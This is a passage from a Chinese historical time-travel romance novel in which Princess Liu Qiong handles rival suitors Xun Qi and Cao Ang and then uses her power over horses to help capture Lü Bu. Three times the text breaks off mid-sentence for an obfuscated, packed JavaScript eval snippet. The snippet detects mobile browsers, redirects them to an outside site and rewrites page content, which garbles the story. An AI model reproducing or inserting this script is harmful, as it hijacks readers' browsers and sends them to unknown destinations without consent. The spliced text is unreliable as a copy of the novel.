“荀公子说笑了,你我相识不过月余,且上巳节那日也已经开诚布公的谈过,既如此,你这病,又怎会是因我而起呢?” 她故作不知,还以打趣的口吻回应,意在想通过这种方式回避接下来可能出现的尴尬场面。 “虽然我们相识不久,也曾谈论过婚嫁之事,但女公子一直未曾应允,我心里便也一直有所牵挂。” “上巳节那日,我承认自己有些失礼。” “可后来许多日子,我不停的询问自己,得到的答案却是并不后悔,且一如既往的心悦女公子。” “那时,我便知道自己病了,还病的不轻。” “而女公子便是那唯一的良药,若不能得,那我这病怕是一辈子都好不了了。” “当然,我说这些话,并非是要威逼女公子答应我什么,只是我觉得,应该告诉你一声,至少,也让你知道我的心意。” “女公子,我是真心喜欢你的。” 荀祈言辞恳切的跟她说着心里话,或者说,是跟心上人说着表白的话。 刘琼虽然感动于他一片痴心,但也实在不能给他什么承诺,况且今日之事已经完全超出了她的想象。 她实在没料到,当初自己为了拉拢荀彧而爱屋及乌释放出的善意和亲近,竟然会让荀祈深陷其中,不能自拔。 刘琼心中有愧,但又不可能因为愧疚而答应他什么,最后也只得别开了眼眸。 “荀公子,你越矩了,自古婚嫁,都是父母之命,媒妁之言,哪有什么喜不喜欢,我听不懂你在说什么。” 她强装镇定斥责了一句后,便抬脚就要走,显然是有些慌了。 “女公子,你听我解释。”荀祈却一把拉住了她的手。 刘琼不妨他突然拽住自己,一个不稳便要摔倒在地,好在荀祈眼疾手快接住了她。 “你没事吧。” “我没事,你呢?” 站稳之后,她抬头去看他,他也低头看她,四目相对的一瞬间,两人都愣在了原地。 因为他们现在的距离不是一般的近,或者说的更直白一些,她正被他抱在怀里。 而这一幕,好巧不巧的,被赶过来的曹昂看了个正着。 37.明争暗斗 却说刘琼跌在荀祈怀里,纯属就是意外,而且也很快分开站好了,但看到这一幕的曹昂心里还是不舒服。 他根本没心思去查看什么军情细节,现在只想带着刘琼一起回家去。 奈何天公不作美,双方还没说上几句话缓和尴尬氛围呢,便听突然响起一声炸雷,倾盆大雨说来就来。 几人赶忙从花园移到走廊躲避,荀祈趁机出言,想留他们在这儿做客,当然,谁都看得出来,他更想留刘琼。 曹昂心里老大不愿意了,但他的教养却不允许他做出什么失礼的举动。 最后还是刘琼打了个圆场,言说家中有事,还是不留了,等待会儿雨小一些,他们就回去。 见她表态了,且明显偏向自己这边,曹昂感觉舒服了不少,但还是觉得委屈,看向荀祈的眼神,时不时的也带着些防备和警惕。 荀祈也不甘心这么好的机会就要错过,正要再说点什么游说一下时,荀彧却突然出现,出言赞同了刘琼提议的同时,又用眼神压下了荀祈那未尽的话语。 俗话说,六月的天,孩儿的脸,说变就变,这雨来的快,去的也快。 几人正说着话呢,便见雨势肉眼可见的变小,直至消失不见,天边还有一道彩虹显现。 这下子,再也没了留客的理由,又有自家叔父的暗示,荀祈纵然再不甘,也只能眼睁睁的看着他们离去。 只是在他们上马车前,荀祈却又追了出来,手里还提着个食盒,说是刚从颍川老家那边送来的柑橘果子,送他们一些尝尝。 若是贵重物品,金玉宝石什么的,曹昂还可以出言婉拒,可这水果之类的东西,不过是些土特产,又是借着主家名义送客人的,他也就不好不收了。 没办法,曹昂只得应下,但他却耍了个小心眼,抢先一步走到荀祈面前把食盒接了过去,快速道谢后,立刻拉着刘琼一起上了马车。 其过程之快,几乎让荀祈反应不过来,更别提跟刘琼搭话了,只能眼睁睁的看着载着两人的马车越走越远。 而此时,在这场交锋中小胜一筹的曹昂,却并没有想象中的高兴。 “刚才你们聊什么了?好端端的,怎么他还动手动脚的?”忍了又忍,他还是没忍住,开口追问道。 “也没什么,就是他说他病了,我让他多吃点药而已。” “至于动手动脚嘛,那完全是个意外,地上有点滑,我没站稳,差点摔了,他接了我一下,就这么简单。” 刘琼大大方方的迎上他怀疑的目光,这般做派,也让曹昂觉得自己是不是太多心了,可是他反复回想刚才看到的画面,怎么看都觉得不对劲。 “怎么?你不信我?”刘琼看出他有疑虑,干脆主动反问。 “我自然是相信妹妹你的,只是我怕荀祈那厮还存着些别的心思,若是一时冲动,唐突了妹妹,那就不太好了。” 曹昂虽然嘴上这么说,但脸上的纠结又让人看的真真的,可见是个口是心非的。 不过你还别说,他这直觉竟然该死的准确,准确的让刘琼都感觉心虚不已。 哪怕她心里非常清楚,刚才那事儿大半责任得归荀祈,但她到底牵扯其中,一旦开始解释,肯定会越描越黑。 为了防止自己陷入自证陷阱,刘琼在他话音未落时,就果断选择打开了他刚才放在角落里的食盒,刻意而为的动作自然弄出了不小的声响。 “呀,还真是柑橘呢,方才我虽听了一耳朵,但也没太听清,只以为送咱们的是什么应季的果子,不想竟是这等稀罕物。” 刘琼拿起一个橙黄色的橘子,其形状饱满,还带着淡淡的香气,惹得她都有些馋了。 “不过是几个橘子罢了,有什么好稀罕的?”曹昂的注意力果然被引开,但依旧是嘴上不饶人。 “怎么不稀罕?橘子是秋末才有的水果,我们能在五六月的时候见到这些,那就只能是去年就储藏起来的。” “而且这些果子无论是色泽,还是个头,都好像刚摘下来时那般,可见荀家没少费心思啊。” “嗯,味道挺甜的,来,你也尝尝。”说着话呢,她就剥开了橘子皮,先取了一瓣果肉自己吃了,觉得不错,又掰下一瓣送到他嘴边。 “我才不吃他送的东西。”曹昂却脱口而出就是一句大实话。 “我的意思是,橘子吃多了上火,我现在不太舒服,不能吃。”话音未落,他就意识到自己刚才失态了,赶紧描补了几句。 “奥,原来是这样啊,那你还真是没口福呢,我觉得……” 刘琼却转而把那瓣橘子塞进了自己嘴里,一边吃,一边夸,可话还没说完呢,就听她抱怨起来。 “好酸,好酸。” “好酸啊,简直酸死了。” 她一边说着话,一边把那剩下的那块橘子放回了食盒中,并不停的摆手扇风,仿佛这样就能减轻她尝到的酸涩味道似的。 “那快漱漱口,怎么样啊,好些了吗?还酸不酸了?”曹昂见状急得什么似的,赶紧给她递了一杯水过去,又端了一个空杯接着,关切的询问着情况。 刘琼刚才本也没吃到坏的,不过是做个样子罢了,但眼看他上钩了,也只能继续演下去。 等借着他的手好一通折腾,这才堪堪平复下来,定了定心神后,便立刻展开了攻势。 “我倒是不酸了,就是不知道好哥哥你,还酸不酸了。”她故意打趣道。 “……什么跟什么啊,我又没吃人家送的橘子,我酸什么。”曹昂先是一愣,随后便有些不自在的别开了眼眸。 “是是是,你没吃人家的橘子,也不喜欢外头人送的东西。” “那要不这样吧,等待会儿到咱们家了,我给你倒一碗热蜜浆来,暖暖身子的同时,也暖暖心,你觉得怎么样啊?” 他依旧嘴硬的很,但架不住耳根子早就悄悄红了。 看到这一幕的刘琼就知道,这招用对了,于是她再接再厉,又说起了甜言蜜语,在哄他的同时,也是试图给双方一个台阶下。 “……方才刚下了雨,也的确该喝点热的东西。”尽管已经意识到了她在哄自己,但曹昂还是很受用的。 特别是刚才她话里那句‘咱们家’,让他听的着实欢喜,所以也就半推半就的点了点头。 ‘成了。’刘琼心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828520|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中偷笑了一下。 就这样,一场矛盾被她轻松消弭于无形,而沉浸在甜言蜜语中的曹昂也丝毫没有注意到,当他们两个到家下车后,那个食盒已经被赶来迎他们的慧儿偷偷带走了。 夜半时分,刘琼让慧儿熄了外间的灯火,内室里只留一盏,借着微弱的烛光把食盒夹层中的帛书取出来看。 其实今日听到荀祈追出来时说的那话,她便知道这里头有她想要的东西了。 明面上说是来自家乡的果子,可荀彧的家乡不就是颍川吗?至于说果子,倒通了一个‘郭’字。 只略微一琢磨,她便明白送柑橘是假,送郭嘉才是真。 而这帛书上所写的,也果然是郭嘉的消息。 这封信是荀彧写的,说郭嘉已经答应效忠她了,陈宫派去接郭嘉的人也到了颍川,只是不巧的是,郭嘉当时偶感风寒。 等他病好了,要往兖州来时,却又听到了曹操父亲曹嵩被杀,曹操即将起兵进攻徐州的消息。 两大诸侯即将展开一场血腥的战争,现在出门赶路无疑是主动置身于危险之中。 郭嘉身子骨又弱,受不得颠簸,就更别提兵戈了,这才又耽搁了下来。 荀彧在信中替郭嘉致歉,希望刘琼不要怪罪。 这是外部情况不允许,而非郭嘉不愿意,所以刘琼对此表示理解,甚至庆幸郭嘉做出了这样的决定。 不管如何,对方晚一点和自己见面也总比见不着要好。 毕竟,获得顶级谋士的最大前提,就是这个人得先活着,然后才有机会发挥才能,这两者孰轻孰重,刘琼心里还是很明白的。 况且她现在的注意力都在谋算吕布上,也着实分不出太多心神照顾郭嘉,如今又兵荒马乱的,他暂时留在颍川反而更安全一些。 看完帛书后,刘琼的心也落了地,但为了保险起见,她还是打算将其销毁。 橙黄的烛火显得温暖又柔和,但那跳动的火舌却毫不犹豫的,一点一点燃吞噬了整张帛书。 当一切化为灰烬后,内室的蜡烛也就熄灭了。 但有些事情却不会随着夜晚的到来而沉寂。 曹操的先头部队已经触及了徐州的郡县,并开启了杀戮模式,屠城的消息以极快的速度传回了兖州,陈宫心急如焚,加快了暗中的谋划。 而兖州名士边让,更是公开指责曹操的无耻行径,言语间甚至还侮辱了曹家先人。 曹操不在,曹昂便是主事人,他带着荀彧前去与边让理论。 与此同时,游离在兖州边缘地带的吕布却突然得到一条‘绝密情报’。 其上言说,曹操的家眷,以及那些赚大钱的生意,纺织工场,制盐工场之类的,都在东郡,而非在兖州的政治中心濮阳,而更重要的是,东郡此时只有五千兵马。 吕布贪婪无智谋,又刚愎自用,听不进下属张辽和高顺的劝说,信誓旦旦的以为这是个天大的机会,悍然带兵对东郡发起了突袭。 而此时,守护东郡的大将只曹仁一个而已,听闻吕布带兵来袭,曹仁急忙带人阻击,但屡战皆不能胜,只得避入城中死守。 东郡危急! 38.志同道合 曹仁是曹操的堂弟兼心腹,此次出征徐州,曹操特地让他留守东郡,并非排挤,而是信重,曹仁自然也清楚这点。 故而哪怕兵力不如吕布,战力也不如他,仍是设法死守城池。 盖因他们曹氏众多族人家小都在城里,无论是从亲缘角度,还是从效忠曹操这位主公的角度,他都义不容辞。 更何况,万年公主刘琼和传国玉玺也都在曹府里,更是不容有失。 曹操临行前曾再三嘱咐过的,无论如何,一定要保公主玉玺平安无恙。 曹仁自然要认真对待,且他素来以严肃刚毅著称,又极擅防御,短时间内东郡城池还不足以被吕布攻破,但一直僵持下去也不是办法。 于是乎,他一边派人趁着夜色偷偷出城急奔徐州向曹操传信求援,一边又来找曹昂和荀彧商量退敌之策。 危急之时,幸得荀彧谋划,言说已经传信给在东阿的程昱,要他调动手中两万兵马,在外层对吕布的军队形成包围。 然后他们这边再从东郡内部杀出,对吕布等人形成两面夹击之势,届时眼下危局自会解除。 曹仁听的连连点头,但很快他就意识到一个关键问题。 “荀司马,非是我要长他人志气,灭自己威风。” “实在是吕布他战力非凡,又有赤兔马和方天画戟在手,麾下士卒也都是能征善战的老兵。” “这围攻之策即便能成,只怕我军的伤亡也会非常惨重,就这还不一定能擒下吕布。” “一旦让他走脱,这厮怀恨在心,难保不会把东郡的消息宣扬出去。” “届时引来多方垂涎不说,主公也未必能及时回师救援,万一出了差错,恐我等的处境会更加艰难啊。” 曹仁性格严谨,且曾跟随曹操参加过十八路诸侯讨董之战,亲眼见过吕布的战力,自觉不如对方良多。 而且现在东郡不仅有曹氏的家小,还有公主和玉玺,以及各种赚钱的营生在。 太多太多的因素,都让他不得不考虑周全一些,也难怪会说出这种种顾虑了。 “曹将军所言也不无道理,大公子,你以为呢?”而荀彧心里很清楚曹仁说这些的缘由,但却没有点破,而是转而看向了曹昂。 “叔父所言极是,我也觉得不能让吕布走脱。”曹昂也明白事情的严重性,所以赞同曹仁的说法。 “那么为今之计,我们就只能设法擒下吕布了。”荀彧闻言,眼神一闪后,十分自然的建议道。 “擒下吕布?怎么擒?荀司马,先前的几次交战你也看到了,我方暂时无人能敌吕布之勇啊。”曹仁一听就立刻提出了质疑。 “不,我倒觉得此事可行。”然而曹昂却突然想起了早先刘琼跟自己相处时的场景,于是立刻出声道。 “什么?大公子,你……”曹仁皱紧了眉头。 “叔父,我且问你,若吕布没有赤兔马,你有几成把握擒下他?”曹昂不等他说完就抛出了一个假设。 “……吕布之勇,无人能敌,但赤兔马的存在也给了他不少帮助,若无赤兔,他至少减去三成战力。”曹仁抬手比划了一下。 “可即便如此,我也没多大把握擒下他。”他又摇了摇头。 “盖因此人一身武艺极为不凡,没了赤兔马,最多不能及时撤离,一旦有部下相救,他便立时脱困了。” 曹仁虽然觉得曹昂的假设很不靠谱,但看对方坚持,只得认真分析了一下,并将结论告知。 “那若是他的部下们也没有马可以骑,无人襄助吕布,那你能否擒下他?”曹昂进一步又提出了一个假设。 “若果真如此,那事情就容易了,吕布就算再如何勇猛,也不过是一个人而已。” “在没有援军,又没有赤兔马的情况下,他根本不可能逃脱。” “只要先派弓箭手压制,再派士兵上去围攻,几番车轮战下来,其体力必然消耗不少,然后我再亲自出马,必能将其擒下!” 曹仁越说越自信,然而很快他就又叹了一口气。 “可这根本就是不可能啊,无论是吕布的赤兔马,还是他部下那许多马,怎么会突然丢失呢?” “还是在这打仗的紧要关头丢……”话还没说完呢,他突然想起了什么。 “大公子,事情不是我想的那样,对不对?”他有些不确定的看向了他。 “就是你想的那样。”然而曹昂却点了点头。 “琼儿或许可以帮忙,叔父也知道的,她……”,话到此处,曹昂看了一眼荀彧,于是换了个说法。 “她有驯兽之能,若能带她一起亲临战场,那此战必然能胜。”曹昂如是说。 “不可,不可啊,大公子,女公子她可是……” 曹仁差点就把刘琼的真实身份吐露出来了,但好在他还没瞎,看得到荀彧这个外人在屋里,所以硬生生的把到嘴边的话改了。 “我的意思是,战场之上,刀枪无眼,女公子又是闺阁女儿家,哪能直面这等惨烈血腥的场景啊。” “大公子,此事万万不可啊。”他极力阻止,生怕刘琼出了什么事,自己没法跟曹操这个主公交代。 “荀司马,你方才讲,要设计擒下吕布,不知有何妙计?还请快快道来,曹仁感激不尽啊。” 在拒绝了曹昂的提议后,曹仁又赶紧对着荀彧行了一礼,问对方有没有别的法子,不到万不得已,他是坚决不能答应让公主上战场的。 而荀彧先前已经亲眼见过刘琼对动物们的亲和力,又得了她的暗中吩咐,要他和陈宫里应外合,活捉吕布。 所以对刚才曹仁和曹昂的对话,荀彧并不感到奇怪,但他面上还是摆出一副惊讶的样子。 “我所能用的法子无非也是设法削弱吕布的战力,再以人海战术,一拥而上,将其擒下了事,但这就像曹将军方才所言,其死伤绝不会少。” “若贵府的女公子果真有驯兽之能,倒不妨一试,也能减少将士们的伤亡啊。”他说出了自己的看法,并不着痕迹的配合起刘琼的谋划来。 “叔父,我觉得荀司马说的很有道理。”曹昂也在一旁帮腔。 “这……”,曹仁听到这儿,脸上却满是为难。 作为将军,他当然心疼跟随自己多年的部下们,可是公主的安全也很要紧,况且主公曹操又再三叮嘱过,这一时之间,他是真的难以抉择啊。 “曹将军,大公子,既然你们无法达成一致,那何不把女公子请出来问一问呢?说不定她会有自己的见解。”荀彧见状,又恰到好处的提供了解决方案。 “叔父,你觉得呢?”曹昂也顺势追问了一句。 虽然他并没直言自己的态度,但很明显他是赞同荀彧的说辞的。 那么现在就是二对一,且荀彧还是有‘王佐之才’美誉的谋士,而自己只是个武将。 可即便只是个武将,曹仁也能看出来这个提议对他们的好处。 公主若是答应用驯兽的能力帮他们,那他们将会更快的结束战争,擒下吕布。 公主若是不答应,亦或者她那驯兽的能力并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838453|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能做到把敌方所有的马都吸引过来,最差也不过是维持现状罢了。 思来想去,曹仁一咬牙,还是松了口。 “既如此,那就请大公子代为询问一声,看女公子愿意与否,如若女公子不肯,那我等也断不可行那逼迫之事,否则何以被称为大丈夫?!” “此话说的很是。”曹昂和荀彧都赞同这点。 于是乎,三人暂且达成一致,曹昂入了后院去见刘琼,彼时,她正在凉亭里抚琴。 只是琴声中却丝毫不见女儿柔美,反而带着铿锵之音,仿若战场厮杀。 曹昂一时听的入神,没有着急与她叙话,反而站在走廊里静静等她弹完。 “此曲意境不凡,当不至于籍籍无名,可我却从未听过,不知妹妹可否为我解惑?”待到一曲终了,曹昂走上去询问。 “此曲名为‘十面埋伏’,取自当年高祖皇帝围攻项羽的垓下之战,做此曲者乃是一大才,只是年代久远,无名姓可考。” “且此曲本为琵琶曲,用琵琶奏乐更显意境非凡,只是如今府中并无此等乐器,我这才用古琴聊以慰藉。” 刘琼心里很清楚东汉时期并没有‘十面埋伏’这首曲子,但她也无意窃取后人才华,并借此扬名于世,故而假托为无名氏。 “等大破敌军后,我自当为妹妹寻一把琵琶来。”曹昂许诺道。 汉朝是有本土琵琶的,脱胎于一种名为‘阮咸’的乐器,是中原地区固有的拨弦乐器之一。 而刘琼所说的那种琵琶,则是南北朝时期从西域传来的曲项琵琶。 两者其实并不相同,但刘琼现在无意深究这个,因为无论是乐器,还是曲子,都只是为接下来的谈话做铺垫的。 “那你打算怎么破敌?”刘琼看了他一眼。 “攻伐计谋已然定下,只是现在还有一事相求于妹妹。”曹昂拱手行了一礼。 “但说无妨。”刘琼抬了抬手,示意他继续。 “事情是这样的……”,曹昂随即把刚才自己与曹仁荀彧商量的计策说给她听。 “我知此事为难,倘若妹妹不愿,我也绝不强求。”末了,他又表明自己的态度。 “我为何不愿?” “于公,外头的贼子掠夺的是我汉家江山,我为皇室公主,理应出力。” “于私,我蒙你父亲千里相救,保全性命,置于府中,吃穿用度无一不精,你又多陪伴我左右,与至亲无异。” “无论怎么看,我都有义务和责任为守城出一份力的,不是吗?” 刘琼晓之以情,动之以理,试图最大限度的将自己的行为合理化,而隐去她那真实的目的。 “妹妹能如此想,曹昂感激不尽。” “只是战场之上,刀枪无眼,若要令那敌军自乱阵脚,需得妹妹亲临前线,引走众多马匹。” “这其中的危险不言而喻,我也着实担忧啊。”说实话,曹昂也很是犹豫。 “我不怕。”刘琼却摇了摇头,“因为我知道,你会保护我,我也相信,你能保护好我。”她十分肯定这点。 “……”,曹昂一愣,但随即就立刻郑重其事对她行了一礼。 “好妹妹,你放心。”他没有长篇大论的表忠心,但只这几个字,就足以证明他的诚意了。 “有你在,我再没什么不放心的。”刘琼更是给予他绝对的肯定。 而情绪价值拉满之后的结果就是,曹昂现在甚至觉得,有她这句话,哪怕自己立时为她丢了性命,那也心甘情愿了。 39.心照不宣 曹操带兵攻打徐州,已经兵临城下,拒绝了徐州牧陶谦的和解,双方正剑拔弩张,意在大战一场。 可他没想到,才开战没多久,刘备就带着关羽张飞,还有从公孙瓒那儿借来的三千兵马前来援助徐州牧陶谦,意在阻止自己。 曹操根本不把这点兵力放在眼里,下令继续攻城,可不想恰在此时,兖州信使急报,吕布那厮带兵攻击了东郡。 曹操一听吕布竟敢偷袭自己大本营,简直怒不可遏! 此次出征徐州,他特地让全军戴孝,打的旗号又是为父报仇,弄得这么声势浩大,就是要让其他诸侯知道自己师出有名,不要插手,不然这梁子可就结大了。 其他诸侯比如袁绍袁术,他们不是不垂涎徐州,更不是不想要曹操的兖州,可现在是真的不好动兵。 袁绍和曹操本来私交就不错,又有利益上的往来,完全没必要撕破脸,况且细水长流和一头浇哪个能获利更多,袁绍也是明白的,所以他没有出手。 袁术虽然想要徐州,也想要兖州,更垂涎曹操那些赚钱的生意,可是他现如今的兵力又不足以支撑他的野心,所以他也没有出手。 袁家兄弟都不动,那其他人就更不好介入了。 像是公孙瓒,他即便同情徐州的遭遇,那也得借着刘备的旗号,悄悄援助徐州牧陶谦,至于偷袭兖州,那是断断不敢的。 北方有实力有地盘的诸侯们尚且不能轻动兖州,可偏偏是身为丧家之犬的吕布偷袭了自己的大本营,曹操这五分气性自然也就涨到七分了。 但他很快冷静下来,并察觉到了不对劲。 吕布一介匹夫,兵少将寡,哪里来的胆子敢攻击他的兖州,还在这么多郡县中,偏偏挑中了守军薄弱,钱粮众多的东郡。 曹操倒不信这天下会有这么巧合的事,这里头肯定有他不知道的人在弄鬼。 想到这儿的时候,他脑海中浮现的第一个怀疑对象竟然是陈宫,可随即他就下意识的否定了这个猜测。 陈宫虽然不认自己为主公,但到底也是自己的下属。 而且公主和玉玺在东郡的消息,陈宫也是知情的,对方向来以大汉忠臣自居,断不可能因为和自己的矛盾而让公主陷入险境。 在这一点上,曹操认为自己绝不会看错,而如果不是陈宫在搞鬼的话,又会是谁呢? 曹操让那个信使再叙述一下最近兖州发生的事,信使不敢隐瞒,自是一五一十说了一遍。 其他的都没什么异常,只有一件事闹的比较大,那就是兖州名士边让,因为徐州屠城的事,而对曹操个人乃至曹家先祖的各种公开谴责谩骂。 然后就是自家大公子曹昂带着荀彧前去与边让理论,双方各执一词,互不相让。 边让此人,曹操知道,他还曾多次礼遇招揽对方,只是这人自视清高,不肯投效,如今又拿自己屠城说嘴,曹操没理由不怀疑他。 更何况,兖州东郡可是自己的大本营,那边有什么东西,这些世家大族内部或多或少都知道些,这也就加重了边让的嫌疑。 曹操觉得,保不齐就是这家伙给吕布通风报信来着。 一来可以报复他们曹家,二来,吕布此人又有勇无谋,一旦入主兖州,必然会成为被兖州士族操控的傀儡,可比自己好控制多了。 曹操越想越觉得就是这么回事,心里不禁对边让也起了杀意。 但现在更要紧的是东郡的安危,不止是为了自己的家小和财富,更是为了万年公主和传国玉玺。 曹操笃定,一旦吕布那个头脑简单四肢发达的家伙得知了公主和玉玺的消息,绝对会迫不及待的宣扬出去,以做炫耀。 吕布固然会因此成为其他诸侯垂涎攻击的首要目标,但他曹操只怕也讨不了什么好。 但凡有点脑子的诸侯只要把这两年发生的事稍微联系一下,必然能够猜到,先前就是他曹操趁着孙坚和刘表打生打死的间隙,浑水摸鱼带走了公主和玉玺。 也就是说,所有人都被耍了。 曹操都不用细想就知道,不提别人,袁绍和袁术这两兄弟就头一个不能放过自己。 当初十八路诸侯讨董结束前,袁绍就向孙坚索要过公主和玉玺,袁术更是对其垂涎三尺。 一旦他们知道有人故意藏匿了他们梦寐以求的宝贝,而且这个人还是他们曾经的朋友兼同盟。 曹操几乎可以肯定,自己绝对会被他们兄弟视为眼中钉,肉中刺,恨不能除之而后快,到时候别说徐州了,就连身家性命只怕都要不保。 在权衡利弊之后,曹操很快就做出了挥师回援兖州的决定,恰逢此时刘备的信使送来了和谈的信件,曹操就顺势卖了个面子给刘备,也给自己撤军找了个台阶下。 然后便急匆匆的带领军队回转兖州。 而他不知道的是,此时吕布早已成了阶下囚。 按照之前商量好的计谋,曹昂带着刘琼上了战场,趁着吕布带领部下攻城时,刘琼充分发挥了自己对动物们的亲和力,使得骑兵的战马们临阵倒戈。 它们纷纷开始跟自己的主人对着干,还不停的踢腿跳跃,试图把马背上的主人甩下来,就连吕布的赤兔马也不例外。 东汉时期的战马已经配备了马镫和马鞍,但马镫一般是单侧,主要是辅助上马用的,至于马鞍倒是可以为骑乘者提供一定的支撑,但也仅限于不会前后滑动。 当马儿开始上下跳跃,或者左右狂甩的时候,骑手就很难控制自己身体的平衡,而这个时候骑手们能指望的就是自己的骑术了。 但是再如何精湛的骑术也抵不过刘琼的金手指,当她将自己对动物的亲和力全力开放后,那些马儿们的脑子里就只有一个想法了,甩掉身上的累赘,去靠近她。 而被当成累赘的骑手们自然倒了大霉,就连吕布都控制不住赤兔马了。 赤兔马是神驹,当之无愧的千里马,所以刘琼对其进行了特殊照顾,这也导致赤兔也甩掉了吕布,朝她奔了过来。 曹昂和刘琼共乘一骑,见马儿们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851866|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都朝他们过来时,果断的转身离开,指引马群脱离战场。 接下来就是曹仁的表演了,按照之前商量好的计策,对着吕布和一众敌兵开启了狂风暴雨般的打击。 先是一轮箭如雨下压制战力,随后又是骑兵出城袭扰消耗体力,最后曹仁闪亮登场,程昱也带着援军赶到,从后面包抄吕布的军队,前后配合默契,终于将吕布等人擒获。 等曹昂和刘琼回来的时候,战斗已经全部结束了。 敌军士兵七零八落,被看管起来,而吕布,张辽,高顺等部将也全都被捆绑起来,不过相对于张辽和高顺正常的麻绳捆绑,吕布身上还多了点什么。 不是曹仁要区别对待,实在是吕布这厮战力无穷,他是真担心普通的绳子束缚不了他。 所以特地派人去准备了网罗野猪黑熊的那种特别结实的麻绳用来捆吕布,还给这家伙脚上绑了一条铁链,生怕对方跑了。 吕布,张辽,高顺是主要俘虏,也是此战最大的战果,曹昂自然要见一见的。 而刘琼也就趁着和曹昂同乘一骑的机会,在战场上得以近距离和他们三个见了一面。 当然,双方也仅仅是打了个照面,曹昂吩咐曹仁将这三人押到城中牢房严密看管,然后便要带刘琼离开。 岂料此时他们身后却传来了一阵嘶鸣之声,回头望去,却见赤兔马正朝他们狂奔而来。 吕布还以为爱驹是来救自己的,岂料它却跑到了曹昂身边,还把马头伸过去献殷勤,可伸手摸了摸它的,却是曹昂身前带着的人。 刘琼很高兴赤兔马亲近自己,也想拖延一会儿时间,加深吕布,张辽,高顺等人对自己的印象。 所以她便故意摘掉了自己的兜帽,并且双手并用去安抚不断靠过来的赤兔马,而赤兔马对她的亲近也很受用,不断的发出欢喜的叫声。 这一幕直把吕布等人看的目瞪口呆,惊讶万分。 他们现在才反应过来刚才打仗的时候,为什么自己和部下的马儿都如此躁动了。 可他们怎么也没想到造成这一切的人居然是个小姑娘,还是个漂亮非常的小姑娘。 她漂亮到了,哪怕他们知道她是导致自己战败被俘的罪魁祸首,心里也不忍苛责她的地步。 张辽和高顺这等有定力的,尚且都看得呆住了,就更别提吕布那毫无定力的了,目不转睛四个字都不足以形容他现在的状态了。 然而刘琼并没有看他们,甚至都没有和他们说话。 曹昂也注意到了三个阶下囚的眼神,心中十分不悦,再一次吩咐曹仁将他们压下去后,他便骑马带着刘琼走了。 赤兔马则屁颠屁颠的跟在他们身旁,一起回了曹府,连半个眼神都懒得分给自己原来的主人。 只是在回府的路上,荀彧来迎他们的时候,曹昂让他去处理后续,而刘琼却先看了一眼赤兔马,随后又给了荀彧一个眼神,后者当即心领神会。 只是一个擦肩而过的瞬间,她和他便心照不宣的达成了一致。 40.如法炮制 东郡的牢房在官邸一侧的偏僻角落里,因为是关押凡人的地方,所以环境自然不会怎么好。 牢房里的窗户很小很高,房间里更是阴暗潮湿,时常还能听到‘窸窸窣窣’和‘吱吱吱吱’的声音,那是蟑螂跳蚤以及老鼠存在的痕迹。 不过比起普通士兵乱糟糟的挤在一个牢房的恶劣环境,吕布,张辽,高顺他们三个的待遇还是好的,至少住的地方都是单间,也没有狱卒对其严刑拷打。 但长时间处在幽暗之中,手脚尽皆被麻绳束缚住,饮食又差又少,他们便是想要逃跑也是有心无力。 其实比起物质上的匮乏,精神上的折磨更让他们难受。 在成为阶下囚被关起来之后,没有一个人跟他们说话,狱卒送饭都是不声不响的,仿佛全成了哑巴,任由他们如何折腾叫骂都无动于衷。 他们三个也没办法互相交流,只因各自的牢房都隔得很远。 未来生活的不确定和对同伴的担忧都在反复折磨着他们的神经。 直到一天深夜,张辽的牢房里突然亮起了火光,身心俱疲的他抬头一看,却见荀彧正举着火把走到他面前。 跳动的火焰照亮了张辽所在的区域,他靠在墙角,憔悴不堪。 “别来无恙啊,文远将军。”荀彧开口打招呼的同时,顺手扔给他一个酒囊。 张辽也不客气,接过去后,便猛灌了几口,酒水的味道让他彻底清醒过来。 “将军不怕我在酒中下毒吗?”荀彧见状,不由得问道。 “张辽现在不过是个任人宰割的阶下囚,你若真想杀我,何必这么麻烦?”张辽说着话,又往嘴里灌了一口。 “看你的样子是个谋士,说吧,那曹家小儿让你来做什么?”他上下打量着荀彧一眼后,直奔主题。 “将军果然是个痛快人,那荀彧也就不拐弯抹角了。”荀彧一拱手后,立刻就开始游说。 “我主欲要招揽将军,不知将军意下如何?” “你主乃是曹操,先前他带兵出征徐州,我料定他不可能这么快回师。” “你今日前来,不过是那曹家小儿为了在父亲面前露露脸,故而遣你来当说客罢了。” “我张辽虽非什么当世名将,但也知忠义二字如何写,吕将军于我有知遇之恩,同袍之谊,岂是你张张嘴,就能背弃的?” 张辽笃定荀彧就是为了在曹操回来的时候献上一份功劳,这才来游说自己,但他有他的坚持和底线,才不可能做那背信弃义之人。 